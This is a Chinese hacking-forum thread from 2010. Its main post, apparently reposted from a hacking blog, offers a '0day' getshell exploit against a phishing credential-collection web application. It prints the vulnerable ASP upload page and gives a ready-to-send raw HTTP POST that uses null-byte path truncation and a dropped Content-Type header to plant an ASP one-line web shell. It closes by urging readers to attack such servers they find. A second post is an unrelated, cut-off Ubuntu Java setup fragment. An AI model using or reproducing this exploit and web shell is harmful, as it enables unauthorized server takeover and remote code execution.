  • 关注2
28楼#
发布于:2010-12-25 09:46
花马收信箱子Getshell 0day
By:rubbish
特征:login.asp能看到版权,不过有些箱子把这个地址改求了.另外主目录下存在一个wsidny.asp
整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的地方就在这个wsidny.asp
看代码:
<!-- #include file="conn.asp"-->
<%
    Server.ScriptTimeout = 36000
   PostSize = Request.TotalBytes
if postsize=0 then
response.End()
end if
    BytesRead = 0        
     ReadSize=256
     HeadSize=256
     filename = Request.BinaryRead(ReadSize)
     BytesRead = BytesRead + ReadSize        
    PostData = Request.BinaryRead(PostSize - BytesRead)
    StoreFile(filename)
Function Bytes2bStr(vin)
if lenb(vin) =0 then
        Bytes2bStr = ""
        exit function
end if
 Dim BytesStream,StringReturn
 set BytesStream = Server.CreateObject("ADODB.Stream")
 BytesStream.Type = 2
 BytesStream.Open
 BytesStream.WriteText vin
 BytesStream.Position = 0
 BytesStream.Charset = "gb2312"
 BytesStream.Position = 2
 StringReturn = BytesStream.ReadText
 BytesStream.close
 set BytesStream = Nothing
 Bytes2bStr = StringReturn
End Function
Function StoreFile(filename)
filea=Bytes2bStr(filename)
filea=LCase(filea)
if instr(filea,".")>0 then
fileb=split(filea,".")
num2=ubound(fileb)
if instr("jpg|gif|jpeg|png|bmp",fileb(num2))>0 then
filea=filea
else
filea=filea;".gif"
end if
else
filea=filea;".gif"
end if
Path=server.MapPath(imgFolder;filea)
Set oFileStream = CreateObject ("ADODB.Stream")
  oFileStream.Type = 1
  oFileStream.Mode = 3
  oFileStream.Open
    oFileStream.Write(PostData)
  oFileStream.SaveToFile Path,2
  oFileStream.Close
  Set oFileStream = Nothing
End Function
    Response.Write PostSize
    Response.Write " bytes were read."        
%>没搞懂这个页面是用来干什么的,可能是生成图片破密保的吧.一开始是想本地构造表单直接提交,上传带;的图片马,结果因为是Request.BinaryRead取的数据,所以urlencode过的参数都取不出来.改用vbs发包.这里又有个问题,因为路径是取的前256个字符,超过了后面server.MapPath所支持的最大长度,于是想到了用\00截断,把vbs发送的http请求抓出来,用ue写截断,然后提交,去掉包含文件测试成功.但是带包含的时候还报错.因为前面的conn.asp包含了一个fsql.asp防注页面,检查了request.form,调用了request.form之后就不能再调用Request.BinaryRead了否则会报错.那这个页面的意义何在?
在这里纠结了好久,试着去掉http头里的Content-Type: application/x-www-form-urlencoded,提交,发现竟然上传成功鸟,这才发现自己以前一直SB了.去掉这一个头,iis就会认为没有用表单格式提交的参数,这样用request.form就不会收到任何数据,也就不会跟后面的Request.BinaryRead冲突了
下面发利用方法:
POST /DNFZONX/wsidny.asp HTTP/1.1
Accept-Language: zh-cn
Content-Length: 284
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-silverlight, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 5.1)
Host: xxx.fuck.com
Connection: Keep-Alive
a.asp aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<%execute request("value")%>
一句话代码前面要构造到256个字符,然后在ue里面把空格用\00代替,改下主机头啥的,NC提交,看到返回xxx bytes were read.的话,就成功了,目标文件夹下img/a.asp就是了,如果图片目录找不到或者不可执行啥的,可以用../什么的跳出来就好了,只要保证一句话前面刚好有256个字符就是了
本地测试成功,大家遇到箱子信封什么的,就使劲的日吧!
{本文转自普瑞斯特博客-原文地址:http://www.hacksb.cn/post/156.html}




回复(0) 喜欢(0)     评分
jdh
jdh
终身会员
终身会员
  • 注册日期2010-12-18
  • 发帖数77
  • QQ
  • 火币135枚
  • 粉丝4
  • 关注2
29楼#
发布于:2010-12-25 09:46
Ubuntu下Java环境的搭建
安装

系统装好后进行必要的配置,或者使用闪电配置命令:
$sdo apt-get install ubuntu-restricted-extras


回复(0) 喜欢(0)     评分
游客

返回顶部